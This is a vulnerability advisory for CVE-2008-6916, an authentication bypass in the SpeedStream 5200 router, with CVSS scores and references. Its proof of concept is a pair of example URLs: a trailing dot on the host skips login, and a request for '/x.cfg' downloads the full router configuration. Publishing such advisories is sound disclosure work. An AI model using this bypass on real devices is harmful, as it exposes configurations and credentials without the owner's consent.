SpeedStream 5200 Authentication Bypass Config Download Vulnerability

2009.08.08

Credit: hkm

Risk: High

Local: No

Remote: Yes

CVE: CVE-2008-6916

CWE: CWE-287

CVSS Base Score: 10/10

Impact Subscore: 10/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Complete

Integrity impact: Complete

Availability impact: Complete

#########################
SpeedStream 5200 Authentication Bypass - hkm 12/10/2008
(Server: NetPort Software 1.1)
It is posible to bypass authentication by modifying the Host header.
If you use a Host that is not the authentic one it will not require authentication.
http://189.255.255.255./ - This would bypass authentication too.
http://189.255.255.255./x.cfg - This downloads the full router conifguration.
hkm [ @ ] hakim.ws
_________
#########################

References:

http://xforce.iss.net/xforce/xfdb/46508

http://www.securityfocus.com/bid/32203

http://www.milw0rm.com/exploits/7055

http://secunia.com/advisories/32635

http://osvdb.org/49870

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

SpeedStream 5200 Authentication Bypass Config Download Vulnerability

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.